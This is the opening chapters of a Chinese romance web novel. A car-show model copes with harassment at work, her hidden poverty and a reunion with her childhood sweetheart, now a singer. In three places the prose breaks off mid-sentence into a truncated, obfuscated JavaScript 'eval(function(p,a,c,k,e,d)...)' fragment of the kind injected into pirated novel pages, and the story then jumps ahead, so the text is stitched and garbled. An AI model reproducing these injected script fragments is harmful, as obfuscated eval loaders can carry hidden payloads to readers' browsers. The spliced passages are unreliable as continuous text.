《我又爱上你了!》 1. 人妻play 七点半的公交站挤满了早八人的怨灵。 749路公交车刚从路口冒出头,十几个人视线齐刷刷锁定,开始悄无声息踮着脚步向前挪。 唐枫原本的地理位置优越,不靠前不贴后,正当当站在她测算好的开门位上。 结果半路杀出个老太太横穿站台,司机提前急刹,唐枫一个反应不及被落后了几个身位。 等她终于费劲挤上公交,还没来得及刷卡,手机响了起来。 “抱歉抱歉马经理,公交司机扶老奶奶过马路耽搁了几分钟,不过我下了车肯定百米冲刺,争取尽早到现场!” 唐枫脑袋肩膀夹着手机,“滴”地一下刷出一声老年卡,忽略司机和周围乘客诡异的打量目光,搡着人群找了个还算空的角落站定。 “唐唐啊没关系,展厅还没布置好,打电话就是让你别急,路上千万小心,你的安全才是我最关心的。” 唐枫能想象马经理说这句话时抚着大肚腩咧嘴淫|笑的场面,胃里还没消化好的六个小笼包快吐出来了。 唐枫嘴角一拉,语调不变,“谢谢马经理。不过我现在要见义勇为先挂了,一会儿展会见。” 手机打开摄像模式,唐枫拨开旁边两个低头刷小视频的男人,伸手将镜头怼在一人脸上。 “怀念你妈的子宫就钻回去,在这摸小女孩算什么本事。” 满脸痘坑的男人脸色瞬黑,一把拍开唐枫的手机,“你谁啊,凭什么拍我,你侵犯我肖像权了你知道吗?” “那就报警呗。”唐枫手机收回揣进内兜,看向旁边脸色涨红、看起来也就十五六岁的小妹妹,“你没事吧?需不需要帮你报警?” 小妹妹眼圈都红了,看到周围人视线全聚过来,咬着嘴唇摇了摇头,“没、没事。” 痘坑男听这话一下子嚣张起来,下巴一抬眼睛一眯,“你看吧?我根本就没碰她,你在这装什么好人呢。看你这浓妆艳抹的,是刚送完客还是去接客啊,需不需要我给你捧个场啊。” 众人的视线也跟着这话转向了唐枫。 说实话即使没有这一出,唐枫的打扮也足够吸引众人的视线,只是这一番闹下来,众人终于可以光明正大打量她。 穿鞋看起来足有175的身高够不上她身上最大的亮点,显眼的金色长卷发,浓到夸张的烟熏妆容,让她看起来像一只张扬的花花蝴蝶,在一众灰头土脸的早八打工人中格格不入。 在痘坑男这话之前,其实早有人暗戳戳猜测唐枫职业特殊。 毕竟在这样一个寒冬腊月,普通早八人从被窝爬起前都得先和自己讨价还价两个闹钟,没多少人有此等精力去画这么一套完整又完美的妆容。 唐枫屈起中指刮了刮厚到遮瞳的假睫毛,侧目打量了下这人。 “不接哈蟆。” 旁边乘客又顿时“噗嗤噗嗤”地闷笑出几声B-box。 唐枫这种伤敌一千自损八百的回怼方式,让方才暗自揣测的人反倒淡了几分恶意。 连带着觉得这张满是浓妆脂粉的脸也清秀了三分,似乎底下藏着个爽利的良家胚子。 唐枫对这些眼神完全没往心里去,包括恶意和虚伪的善意。 这些年好的坏的眼神见太多了,她早就学会了忽视。 但痘坑男却是恼羞成怒了,“你说谁哈蟆,我告你人身攻击你信不信!” “喲,懂法的哈蟆。”唐枫挑眉。 痘坑男肾上腺素从下半身冲到大脑,扬起胳膊准备动手,这时司机又一个“扶老奶奶过马路”式急刹,痘坑男双手没支撑,应声四肢着地,形状像个功底深厚的,哈蟆。 但唐枫一点也笑不出来。 因为伴随这声的,是自己腋下一道悦耳的撕扯声,来源于她的羽绒服口袋,半片粘在衣服上,半片抓在小妹妹手里。 小妹妹脸色比刚才红了五分,全熟微烂,握着一把鸭毛手足无措,“对、对不起……我给你赔,你给我留个电话,我让我妈妈转账给你,多少钱啊……” 唐枫看了眼小妹妹身上三成新的不合身棉服和单薄校服裤,叹了口气摇头,“算了。” 公交恰好到站,唐枫下车前回头,“想报警了去找司机要车上监控,党和人民在你身后。” 痘坑男和小妹妹同时咽住。 …… 展会现场确实还没布置好,车展区围栏歪七扭八,还有一堆躺在地上的海报,唐枫对这次展会的正规性再次产生质疑。 不过正规与否和她关系不大,她拿八个小时八百块的底层车模工资,站在劳斯莱斯和站在奇瑞Q"Q旁边是一个价格。 正规归不正规,唐枫戴着临时工作证进门时发现,这展会还挺会人气造势,还有半小时才进场,门口就排了几百号人了。 唐枫照例先去领工作服,休息室已经有五六个车模换好衣服了,一水的裸胳膊裸腿,看得刚从冷风里走进来的唐枫一个寒颤。 这就是她先画好全妆再来的原因了,临时休息室没装空调,还时不时有人开门进出,在这儿化妆她要冻得连眼线笔都拿不稳。 好在一会儿场馆人多加上中央空调能暖和点,唐枫想磨蹭会儿再换上衣服,一道肥腻刮油的声音从身后传来。 “唐唐到啦,速度很快嘛。” 唐枫憋了口气回头,“马经理好,叫我小唐就行。” 马经理忽视唐枫的需求,一对下三白的小眼睛贴着唐枫的脸扫到她的胸部,停留片刻又继续往下看。 “嘶,真见义勇为去啦唐唐。” 唐枫顺着视线看到自己临时在罗森花4块5买的塑料胶布粘起来的羽绒服口袋,说:“对啊,现在不怀好意的人数量太多了,见义勇为力度严重跟不上。” 马经理根本意识不到唐枫是在内涵他,凑上前心疼摇头,“我们唐唐就是心肠太好了,不过还是要注意自己的人身安全啊,瞧瞧这细胳膊细腿的,万一被歹徒伤到,家里人该多担心啊。” 一边说着,一只肥手摸着唐枫的胳膊上下搓了下。 唐枫胳膊忽地一抬,手握成拳头“邦”地锤在了马经理下巴上。 马经理捂着下巴后退了半步,龇牙看着唐枫,唐枫忙抱歉道:“对不起啊马经理,这是我的‘肘跳反应’。” “你知道‘膝跳反应’吗?我从小神经系统错乱,膝盖和手肘的神经长反了,真不是故意的!你没事吧马经理。” 马经理心里门儿清唐枫是故意的,但又说不出口,毕竟追溯起来就要提到他为什么说着说着话就开始摸小姑娘胳膊了。 马经理挤出两道冷笑,揉着下巴道:“小唐啊你其实身材和长相都挺一般的,也就胜在个会化妆上,竞争力不算多高。” “现在大环境不好,社会上人人都卷,一个机会恨不得有一千双眼睛盯着,你这样的条件,再不懂事,我真的很为你的前途感到担忧。” 唐枫跟着点头,“确实确实,我前途早就一片黑暗了,谢谢马经理给机会。不过我现在要去换衣服了,回头我们再聊前途的事哈。” 唐枫拿起架子上的衣服准备去更衣室,结果被马经理叫住——“等一下。” ……唐枫穿着开衩到大腿根的吊带裙,戴着及腰的波浪卷假发,站在旋转门风口处的“人妻互动展区”瑟瑟发抖时,内心平静地正背倒背反复背三字经。 大爷的,凭什么权利和金钱支配在这些恶趣味的人渣手里。 “人妻互动展区”是这次车展的特色展区之一,对应车辆是某平价品牌销冠车型,24期免息0首付,受众大多为“人生第一辆车”的单身男性。 培训手册上对于这一展区车模的说明指南为:为每一个试车的男性提供人妻般的贴心服务。 唐枫看到说明的第一眼,有种想拿着手册去报警淫、秽色情的冲动,但想到自己的银行卡余额,又硬生生把这点道德感憋了回去。 托海报上“人妻”两个大字的“福” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们卖车哈,限时特惠12万8起,24期免息无首付哦。”唐枫觉得自己实在太敬业了,她又不拿提成,实在有点卖力过火。 或许可以谈个提成,她今天真的是身心双重折磨。 地中海一声篾笑,“这么便宜的车掉我的档次,我要买肯定去旁边买宝马。要不是你这儿虚假广告,我都不见得过来看一眼。” “那要不您去隔壁?接下来的时间给我们其他的顾客?” 地中海立马站直,啤酒肚挺出来,“这可不行,我排了两个小时的队了,怎么也得给我服务一下。这样吧,你过来点我们合个影,这总行吧?” 唐枫内心警惕,但头顶监控看着,她也只能走过去。 地中海举起手机打开前置,“离得太远了,再过来点……你高跟鞋太高了,蹲下来点,你这人妻怎么一点都不知道给丈夫面子……背再弯下来点……” 地中海的胳膊有意无意地擦过唐枫的胸部,纵使唐枫一直在努力捂胸和侧身,仍旧无法避免地被揩了顿油。 唐枫此刻内心秩序井然,她在冷静地计算自己这个月的收支平衡情况。 目前算上余额宝、零钱通和两张银行卡里的余额,扣除一周后要交的季度房租,以及这个月要还给雪莉的钱,差不多还有一千出头的盈余。 下周有个跟妆的活,当天结算,资金也算跟得上。 所以,去他大爷的。 唐枫脚步往后一撤,拳头攥紧刚准备一个巴掌甩出去时,人群中一道戴着黑色口罩的颀长身影走出,一脚踹翻了窝着劲儿蹭来蹭去的地中海。 “我艹你****的!”地中海捂着肚子像个皮球一般躺在地上,指着突然杀出的“程咬金”破口大骂。 唐枫也愣住了。 她不是被对方0帧起手的举动而镇住,而是因为对方口罩下的那张脸。 接下来地中海躺地上耍无赖要求赔偿,马经理走过来和稀泥,周围人看热闹的看热闹,拍视频的拍视频……唐枫统统听不清楚。 她感觉自己的心脏被一双手攫住,周围空气稀薄,四肢血液回流,大脑完全无法思考。 这时带着体温的风衣被罩在了唐枫的肩上,她被熟悉的味道和温度包裹着,世界眩晕。 “跟我走。” 2. 唐娇娇 “我扮公主,李恪就扮公主夫吧!” 五岁的唐枫在扮家家酒时,作为小主人,给大家分配人设。 “是驸马,不是公主夫。”一个小朋友纠正。 “都一样。”唐枫不在意这些细节,她慷慨地赐给李恪尊贵的身份:“反正李恪是守护本公主的公主夫。” “守护公主的是叫侍卫。”另一个小朋友道。 “侍卫也有很多种吧,小枫说的应该是贴身侍卫。” “她要的是驸马啦!” “是骑士。” 李恪是实在听不下去,才开的口。 他话音刚一落,唐枫就高兴拍手:“骑士听着好帅,就骑士!” “不要。”李恪拒绝得干脆。 他已经六岁了,本来就不愿意和这群四五岁的小孩玩这种幼稚的游戏。 是他妈李希说他性格过于孤僻,要多和小朋友一起玩,他才硬着头皮过来的。 现在看来,还不如在家多弹几小时钢琴。 “好吧。”唐枫说,“那我就给你机会做本公主的骑士吧。” 她选择性地屏蔽了李恪的“不要”,提取了他的“是骑士”,拉过李恪的手:“你现在就是我的骑士了,要好好守护本公主,听到没?” 李恪失语。 他被唐枫摆布着为她抗“刀山”,灭“火海”,在“沙尘暴”到来时给公主搜集水源,挡在公主身前维持公主的美貌…… 李希经过时看到两个小朋友紧紧贴在一起十分满意,叮嘱李恪以后多和小糖糖玩,有利于他的人性塑造。 李恪多次反对,多次反对无效。 李希只看结果,唐枫根本不讲道理。 所以在他们分开前,李恪就这样做了唐枫许多年的“骑士”。 他从一开始的被迫服从,到后来渐渐适应了自己的身份。 李恪是唐枫的骑士,唐枫是李恪的公主。 公主矜贵、高高在上,骑士忠诚、抵死守护。 一直到家中骤变,唐枫被迫中断留学回国前,她还是顶着这种姿态和李恪最后告别: “我要退学去做更重要的事了,我准备找威廉王子做我的骑士,李恪你继续加油吧,还有进步空间。” 当时说这句话时,唐枫以为他们再也不会再见了。 当初和李恪一起留学前曾经约好了毕业后就结婚,但没到半年她就单方面撕毁了协约。 她很清晰自己回国后未来会有很长时间的落魄日子,虽然难以接受,但也只能接受。 可是,如果可以的话,她希望在李恪这里,她永远是那个高高在上的公主。 这个想法18岁时是这样,她如今24岁时也是这样。 在漫长疲惫的6年里,李恪成为了她对于过往光鲜的地标性回忆点,是她破败现状唯一的自尊停放处。 她可以为了生计一天打三份工、忍受职场性骚扰、累得眼皮都不想翻。 但在李恪面前,她不能狼狈。 于是在离开展馆,又走出两个路口后,唐枫甩开李恪的手,停了下来。 一方面是她觉得是时候说句话了,另一方面,是她抱在怀里的羽绒服快要撑不住了。 胶带不知道什么时候脱落,里面的鸭毛一路走一路掉,已经从含绒量90%,即将掉成9%。 这是她唯一一件羽绒服,去年冬天买给她妈叶茵女士的,叶女士嫌老气让她退掉,但被唐述礼吃油泼面的辣油溅到了,于是成了唐枫的冬日小棉袄。 李恪回身,路口的风卷起了他极短的发尾,阳光落下薄薄的光晕,勾勒出他轮廓分明的线条,又被一股清冷孤傲的气质削弱了几分温度。 靠,怎么比小时候还帅了。 真不公平。 唐枫把身上披着的李恪的风衣外套脱下来递过去,“谢谢啊,我穿自己的衣服就行。” 李恪纤长的眸子掠过唐枫掉毛掉成两片布的“羽绒服”,凉凉开口:“现在已经不怕冷了是么。” 唐枫从前一直很矫情,冬天超级怕冷但又不喜欢把自己裹得臃肿,最冷的时候出门逛街也只穿薄薄一身针织套装,然后到了户外冷得受不了了就扒下李恪的外套自己裹着。 后来李恪养成了习惯,出门必带两件外套。 但今天他只穿了一件,品牌出借的藏青色风衣,为了不破坏剪裁造型,里面只有一件黑色衬衫,隔着衬衫能看到他常年运动维|稳的,漂亮起伏的肌肉线条。 他穿着这样一件单薄的衬衫站在零下五度的冷风里,看着唐枫把风衣还给他。 唐枫控制着自己冷得发抖的手,面不改色:“抱歉,这位顾客你刚才说的话我有点不太明白,什么……女朋友?是不是有什么误会?” 方才李恪想要带她走,被马经理拦下质问他凭什么带人走时,他说的是,“这是我女朋友。” 什么女朋友? 唐枫当然知道。 但她现在不能知道。 李恪耷着眼皮注视着唐枫。 唐枫身高只有171,对于模特职业来说不算高,但放在普通人里也绝对算不上矮,再加上又穿了双8公分的高跟鞋,是以两人并没有十分夸张的海拔差距。 但李恪的注视总是自带强势的压迫感。 唐枫激灵了一下,抬起唇角微微一笑:“我是不是和你哪位朋友长得很像?你认错人了。” “哦。”李恪语调没有一丝波澜,“那你是谁。” “我是,唐、娇、娇。”最后两字咬字格外清晰用力。 唐枫取名创意一般,一时大脑里只闪过“唐娇娇”和“唐宛如”两个名字,斟酌之下还是选择了前者。 毕竟李恪虽然不看郭敬明,但他以后很有可能和郭敬明合作,唐枫不能冒这个风险。 李恪那双冷淡到极致的眉眼毫无温度地扫在唐枫脸上,停留了许久。 唐枫感觉自己要被这束冷光灼出两个洞出来,她在心里已经给自己办后事了,果然这么扯的话李恪是不会信的。 他虽然不是什么智商两百的天才,但物理的最后一道大题正确率能达到百分之九十五,怎么可能她贴了两片假睫毛,戴了顶假得要死的假发,就认不出她了。 最关键的是她没有给自己眼下贴个痣,无法品如上身,更不可能达成此等功底。 在唐枫准备躺平认嘲时,李恪终于开了口:“好。” ? “那我可以追你吗?唐、娇娇。” …… 李恪目送唐枫离开,直到她始终从容的脚步在拐角处突然加速,李恪的嘴角倏地扬了一下。 随即眉头皱起。 他低头看着自己手里的风衣。 忘记把衣服给她了。 她离开前说了句什么来着? “抱歉哈,我是拉拉。” ……张口就来的本事还真是不减反增。 他抬步准备离开,手机响了起来。 “祖宗你能不能有一天不给我闯祸?” 是经纪人陈铮。 “马上回去了。”李恪说。 “不是,刚才橙子说看到超话里有人拍到你牵着一个女生离开了,我已经联系人删除了,你怎么回事?我以为我最不需要担心的就是你的情感问题。” “遇到一个老朋友。”李恪轻描淡写。 “好好好,还是来了还是来了。”陈铮一副“虽然天塌了但天本来就该塌”的认命语气,“你藏深点行吧祖宗,女友粉购买力很强的,明年专辑准备宣传造势了,你别在这时候掉链子。” “什么专辑?”李恪忽然问。 陈铮一口凉气倒吸快晕过去:“你又干嘛!别说你忘了上半年就定好的饼,全新的原创个人专辑,你出道后的第一张。” “哦——”李恪拖了道长腔,“原来我是歌手啊,我还以为我是鸭呢。” 陈铮:………… “我不和你扯这个,十分钟之内抓紧就位,不然我就让Maple在你枕头正中央拉屎。” Maple是李恪的狗,平时跑行程的时候都是助理橙子遛狗喂食,偶尔陈铮会去探望留守童狗,并挑拨离间:从小离了亲娘,又摊上不负责的后爹,可怜的娃,去给你后爹尿一个。 李恪:…… “知道了。十一分钟,准时到。”他懒懒说。 - 当日的工资唐枫一分没要到,她去还衣服的时候越想越过不去这道坎,厚着脸皮去和马经理要钱,从八点站到十一点半,她抹零取整,要三百总行吧。 马经理劈头盖脸给她一顿骂,让她赔地中海医药费(虽然地中海没去医院),以及品牌形象损失费(虽然官方的人妻主题动态帖当日就被热搜喷滑跪删帖道歉了)。 唐枫全程一副要钱没有,要命不给的姿态,对峙一番最终还是没能拿到300块,但出门的时候往包里塞了四瓶劳斯莱斯专区的V牌矿泉水。 回到家,叶茵正敷着面膜,躺在客厅沙发上刷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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唐枫的卧室很小,一张床一个衣柜,书桌是贴床放的,上端是她自己组装的书架,一层是书,一层是头模展示架。 她把头顶的金色假发摘下,乌黑柔顺的及肩短发从发网下跳出,搭着脱了几分的烟熏妆容,倒有种涩谷辣妹的味道。 五指岔开随意梳了下头顶的短发,唐枫小心又细致地把这顶金色假发整理梳顺放到了头模展示架上。 这是她唯一的一顶假发,平时兼职模特、showgirl,以及做造型练习全靠它,468大洋收的二手,几乎是她房间里除了电脑手机外最贵的一样东西。 整理结束,唐枫拿出手机打开小说听书模式,往后一倒将自己摔进这张1米2的大床上。 [“你以为,离开这里就能摆脱我?”薄云轩低沉的嗓音带着隐忍的怒意,修长的手指擒住冷月的下巴,迫使她抬头直视他。] [“薄云轩,你到底想怎样?”她语气颤抖,努力掩饰内心的慌乱。] [“想怎样?”薄云轩目光炽热,像一头隐忍已久的困兽,随时准备吞噬她,“你闯进我的世界,就别想全身而退。”] [“我没有想闯进——”] [话音未落,他猛地靠近,低头抵住她的额头,声音低哑而危险:“从你第一次出现在我面前的那一刻开始,你就是我的。无论你逃到天涯海角,我都不会放手……”] “……无论你逃到天涯海角,我都不会放手,唐枫。” 李恪冰冷凌厉的眼睛逼视着唐枫,骨节分明的手掐在唐枫的脖颈上。 他的脸越来越近,熟悉的气息笼罩着她。 她涨红了脸喘不上气来。 “李恪,你……咳……弄疼我了……咳咳……” 唐枫把自己咳醒的时候,有声小说已经停止了播放,唐枫点开屏幕,看到页面显示着“余额不足,请充值后再来哦~” “啊!这作者故意把结尾卡在这种激动人心的情节上!良心被薄云轩吃了吗?”唐枫一拳头锤在枕头上。 锤完顺着提示点到充值界面,又退了出来。 算了,攒攒再看吧。 攒攒钱再看。 她从床上一个仰卧起坐弹起来,把包里的四瓶矿泉水拿出,一字排开摆在书桌上,找着角度拍了几张照片。 然后丝滑又熟练地打开闲鱼,点击加号选择闲置。 【挪威原装进口极地冰川水,商务宴请送礼自用好物,特价50一瓶,4瓶打包不拆卖,非偏远包邮】 上架不到三分钟就被一个同城的人拍下,对方砍了20块小刀,唐枫还价10块,最终总价188包邮成交。 闭了闭眼,唐枫又想起李恪那双冷漠却又实在漂亮的墨色眼睛,和七年前一模一样。 她磨了磨牙:“欠我112!” 3. 虚惊一场 距离交房租期限还有3天的时候,唐枫收到了房东的电话。 接电话时唐枫一时心虚,本来钱算下来是刚好能覆盖交租的,只是昨天下午她收到了一条来自叶茵的亲密付扣款,一问才知道是叶茵喜欢的那个品牌裙子打一折,她没忍住买了下来。 “打折完才2800!你知道这个牌子从来不会有这么低的折扣的吧?错过我恐怕一整晚都要睡不着了。”叶茵如是说。 叶茵娘家富贵,从小锦衣玉食,后来为了嫁给唐述礼这个潜力股和家里闹掰,过了两年清贫日子,被娘家哥嫂嘲讽到脸上。 不过叶茵命格里带着富贵,潜力股没几年真的大涨破势,狠狠打了娘家的脸。唐述礼也发誓不会让叶茵再受一分委屈。 所以在多年后的现在,唐述礼破产后只能靠着开出租维生的情况下,偶尔还会突然置办一些奢侈小件送给叶茵,告诉她落魄只是一时,他能赢一次就能带她赢第二次。 钟爱霸总甜文的唐枫当年也曾为她爹妈这可歌可泣的爱情故事流下两行真挚的热泪。 如果不是后来唐霸总账上存一笔被法院转走一笔,疼老婆的他灵机一动让自己闺女给他老婆开通亲密付的话。 叶茵小姐今犹在,不见当年枫大王。 当年的枫大王,如今的枫牛马低声下气。 “胡叔抱歉房租能不能再宽限一周,我这边临时出了点小意外——” 唐枫解释到一半,就被房东胡叔笑呵呵打断:“没事没事,你租这么久了我对你放心。再宽限两周也没问题。” 唐枫松了口气,“谢谢胡叔。” 胡叔语气一顿,“小枫你还记得我之前和你提过的吧?我儿子先民,他和你年纪差不多,985毕业的,看你照片觉得特别投缘,他下周回邯市,你有没有时间出来和他见个面啊?” 唐枫仰天望了下天花板,对着电话道:“胡叔我下周一整周都挺忙的,不好意思哈。” “没事没事,他不着急走,下下周呢?”胡叔又问。 “下下周更忙。”唐枫说,“不过我3天内会准时交房租的,谢谢胡叔的体谅。祝胡叔身体健康万事如意,给您拜个早年!老板催我搬砖头我先挂了,拜拜胡叔。” 挂断电话,唐枫立刻打开了同城兼职群开始找工作。 不好好赚钱可是要被推着嫁人的。 千人的兼职群不到半天没打开就积攒了99+条新消息。 「招高薪试衣模特10名,时间弹性安排,自由度高,女性,18-35岁,样貌端正体型不限。薪资500-800/小时,可面议。扫码添加vx,备注‘试衣模特’」 唐枫随手点了个举报。 什么年代了,这种小把戏怎么还这么猖狂。 先是高薪把人吸引过去,轻一点的哄人办模卡骗钱,重一点的房门一锁骗色,利用年轻女孩阅历少和模特梦,缺了大德。 举报一条龙结束,唐枫继续往下看。 「招宠物护理员1名。阳江路麓湖墅,工作内容照顾宠物日常起居,包括喂食、遛狗、清理笼子等。每天一小时可选早上或晚上,50元/小时。(主人身份特殊,需签保密协议)」 遛狗哇,汪汪教徒一时心动……如果不是她现在缺钱,这薪资又过少,她还真想去应聘。 麓湖墅就在她家附近十几公里,房价和房租都是她小区的十倍,但遛狗出价却是一样的。 所以有钱人更抠门这种说法不是没由来的。 抠门还事多,50块钱还要签保密协议,是怕传出去降低麓湖墅房价吗? 果不其然,这条挂了很久也没人回应。唐枫又往下刷了几条,选了个会展接待的兼职回复过去。 没出一分钟,就收到了艾特。 [云淡风轻(马经理):@不吃糖这么缺钱怎么不告诉我呢?给你介绍几个老板重操旧业,不比在这做什么接待好啊「捂嘴笑.emoji」] 唐枫也是佩服马经理的小肚鸡肠程度。 她不就是给了他一拳然后要钱他没给的时候骂了他两句口臭么,至于这么记仇,在这儿说这种有明显误导性的话,让别人以为她做的是特殊工作。 唐枫趴床上飞快打字。 [不吃糖:还是算了马经理,上次那位老板说你服务的比较好,点名给你包月,我是没有这种福气啦~「撇嘴.emoji」] 上次的确是马经理负责的善后,而且他拿月薪结算,她这种说法,又怎么不算是一种语言的艺术呢? 方才还一分钟刷十几条消息的群安静了整整五分钟。 然后唐枫就被踢出群了。 ……靠,忘记马经理和群主是熟人了。 唐枫头埋在枕头里崩溃嗷了一嗓子。 忍一时风平浪静,忍不了家财散尽。 唐枫目光呆滞地思考三天内该从哪里赚出两千多的时候,手机再次响了起来。 一串来自忻市的陌生号码,看到号码时唐枫胸口涌起一股莫名的怪异感。 她犹豫了两秒,还是接了起来。 “喂你好哪位?” 电话另一边没有回应。 以为是骚扰电话,唐枫准备挂断,对面有了声音。 “是我。” ……李恪。 握着手机的手瞬间绷紧,胸腔似有鼓点急促跳动,等到大脑缺氧眼前眩晕时,唐枫才意识到自己屏住呼吸了许久。 “马松给我的号码,我找他要了你当天的工资,800块,纸质的,什么时候过来找我拿。” 李恪的语调稀松平常,像是月底结算财务催人取款,听不出这段话背后两人有任何的纠葛。 “不用了。”唐枫吸了一口气,“请你不要再联系我了。” 唐枫已经很久没哭过了,她小时候是哭包,饭太烫都要闹一顿,现在值得哭的事情过多,反而没那么想哭了。 但此刻,她觉得鼻头发痒,好像是有点想哭。 唐枫拿开手机准备挂断,李恪又开了腔。 “没要你拿了800块就接受我的追求,还没这么混账。” 唐枫思绪卡顿了下。 哪里不对劲? “我们可以慢慢来。”李恪说,“唐娇娇。” ……唐?娇娇? 唐枫四肢僵硬了两秒。 不是,李恪真的觉得她是唐娇娇?他不是已经和马经理联系过了么?马经理怎么可能没和他说,她叫—— 哦,她当时登记的时候,用的是英文名Candy。 马经理隶属运营,不管人事财务,只知道她姓唐,所以才一直唐唐、唐唐地叫她。 唐枫努力整理自己的思绪,平稳呼吸道:“我是女同,你忘了吗?” “我可以做同夫。” 李恪语气里不带半点起伏,声音带着淡淡的、硬朗的冷漠味道,像沾雪的玻璃杯。 他说:“你难道不需要有个人,帮你摆脱世俗的异样眼光吗?” 七年不见,时间把李恪变成了什么? 他就这么饥渴吗? 女同都不放过! 唐枫一口气道:“我觉得你有点变态了哥们儿,早预防早治疗吧,一切都还来得及。” 然后“啪”挂断电话,顺道补了个拉黑。 操作结束,唐枫却并没有产生任何轻松的感觉。 她捍卫了作为唐枫的最后尊严,切断了作为唐娇娇和李恪的可能性,一切如她所愿。 可是,就是很难受。 心脏好闷。 但她也没太多时间难受,这不是眼前最重要的事。 对着几个账号余额又算了四五遍,思索再三,唐枫点开了和程雪莉的聊天界面。 雪莉是唐枫回国后认识的第一个朋友,那时候她极度缺钱,像个掉水里的无头苍蝇一样渴望抓住根稻草,然后碰上了家空壳模特经纪公司。 空壳公司给出的合同说是合同,其实更像是卖身契,合同一签就是十年,期间想解约必须付八位数违约金。 同一批准备签约的就有雪莉,唐枫凭借自己从前陪她老爸看合同的经验,看出了合同隐藏条款里的不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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[你爹叫Shirley:我擦嘞,这紧身裤二百五也配糖宝三他?我们糖宝甩他十条街好吧!] [不吃糖:有理有据,建议时代广场公示三天。] [你爹叫Shirley:说正经的。苏寒被她找的化妆师临时鸽了,我说我认识个贼牛的国际专业化妆师可以救场,糖宝你下个月3号有空的吧?] [不吃糖:唐枫有空,但贼牛的国际专业化妆师有没有空我不知道。] [你爹叫Shirley:安啦,苏寒的大脑就核桃大小很好哄的,而且就你的手艺,出道早点毛戈平都得叫你一声大师。] [不吃糖:嘶,本大师感觉快被雷劈了。] 删删减减几次,唐枫又发过去。 [不吃糖:还是算了吧,人家正经结婚呢。再说我也没化过新娘妆啊。] [你爹叫Shirley:8000一次,包当天食宿。] 一秒没有犹豫。 [不吃糖:接了。] 雪莉发来个【被我拿捏.gif】的自制表情包。 [你爹叫Shirley:安啦,你以前不是做过摄影跟妆的兼职么,一样的,当天灯光打得亮,你就把你擅长的妆再化浓两倍就OK了。] 唐枫是个行动力超强的绝对J型人格,这边和雪莉发着消息,另一边已经就着苏寒的五官照片,开始搜索适合她的新娘妆了。 心里大概有了底,唐枫又重新开口说起自己一早就想说的话题。 [不吃糖:这个活可以提前预支30%做定金么?最好是这三天给。] [你爹叫Shirley:【转账4000元】] [你爹叫Shirley:50%定金。结账时记得提醒我扣掉。] 唐枫收了钱,给房东转了过去。 然后打开看书软件充了30块钱,点开自动播放,调好倍速。 操作完成,她从床上跃起,就着《薄总别傲了,冷小姐和别人订婚了》原地蹦了个野迪。 虚惊一场的故人重逢,转瞬解决的经济危机,亲密坦荡的知心好友。 她简直,不要太幸运了! 4. 鬼打墙 正式婚礼化妆前,唐枫前往苏寒家提前试妆。 苏寒家在隔壁市,高铁48分钟,唐枫上了车,首页推给她“你关注的Amanda苏寒正在直播”的消息,唐枫点了进去。 苏寒坐在自己大豪斯的客厅中央,抱着一只雪白的迷你雪纳瑞,妆容精致,打光完美,声音娇软。 “好啦好啦既然这么多人问我统一回复一下还不行么,婚纱是上次回巴黎的时候找当地的designer手工订制的,肯定是买不到啦。不过每次去都有小惊喜就是啦,下次帮你们问designer还接不接订制好吧。” 苏寒唇角保持着完美的弧度,巧笑倩兮,视线在弹幕上一一扫过。 弹幕大部分在捧场“苏苏好美”、“贵妇寒一定要幸福啊”、“只有苏苏的气质才能配得上高定的婚纱礼服”。 也有一些其他声音快速飘过:“装得要死,人和脸一样假”、“我怎么搜出来西莞服装批发199包邮?”、“已知悍妇使用‘每次’一词,推测悍妇去巴黎的次数——1次。” 唐枫不得不佩服苏寒的强大心理素质,看到这些弹幕时她只是面不改色,浅浅一笑。 “不会拉黑的啦,感谢宝宝们帮我说话。人在做天在看,没整容就是没整容,我不会陷入自证陷阱的。如果能让生活不如意的人在这里找到宣泄口,也是我的功德啦。” 弹幕刷屏:“苏苏格局”、“苏苏真的是一个很善良很好的小女孩呜呜呜~” “为了钱嫁给大白的吧?”苏寒读完这条弹幕,纤长的手指捂住半侧嘟嘟唇微微一笑,“可能有些人无法想象这个世界上是有真正的爱情的,希望这位‘雯崽’宝宝早日找到那个真心对你的人哦。” 唐枫想起自己前几天搜到的苏寒未婚夫大白的照片,网友嘴损给大白起外号“圆规”,怎么说呢,虽然唐枫也觉得这话难听,但看到照片的那一瞬间,画面感还是不由自主出现在唐枫脑海里。 黄毛大脑袋细胳膊腿,还特喜欢穿铅笔裤,蛮精、蛮有精气神的…… 高铁播报到站,唐枫拿起自己的化妆箱起身。 “暂时不会带货哦,不过如果有我觉得好用的东西会分享给大家哒,谢谢大家的信任。好啦约好的国际化妆师Candy马上就要到啦,我要稍微准备一下,就先不和大家聊啦,下次见哦~” 国际化妆师Candy本人脚下平地滑了一下。 只希望苏寒不会让Candy出镜,不然她真的药丸了。 高铁站到苏寒家打车只需要30分钟,但坐公交要转2趟外加步行1.5公里用时共计一个半小时。 当然这些对于唐枫不在话下,她早就计算好预留了充足时间,但在转第二趟公交的时候还是收到了雪莉的夺命call。 “到了没糖宝,苏寒发神经要一小时后坐飞机出去散心,不知道谁又惹她了,你20分钟内能赶到吗?” 唐枫知道是谁又惹到她了,但这事为啥要她来买单啊! “没问题,我现在打车过去。”唐枫说。 “欧克欧克,给你转了100,我回头和苏寒报销,糖宝面试顺利!” 雪莉在外地参加LOL比赛解说,看时间这会儿正是中场休息,还要操心她的事,友复何求! 唐枫下了公交,吸了吸鼻涕,马不停蹄奔向苏寒家。 感谢金钱的力量,12分钟后唐枫赶到了苏寒家所在的别墅区,不过从门卫走到苏寒家门口,又花了8分钟。 唐枫喘着粗气跑到门口敲门,一个阿姨给她开的门,唐枫一进去就听到里面传来两声响亮的“我艹!我艹!” 和直播间里娇软的声音完全不同,如果不是唐枫亲眼看到,她会以为这粗犷的声音来源是苏寒老公大白。 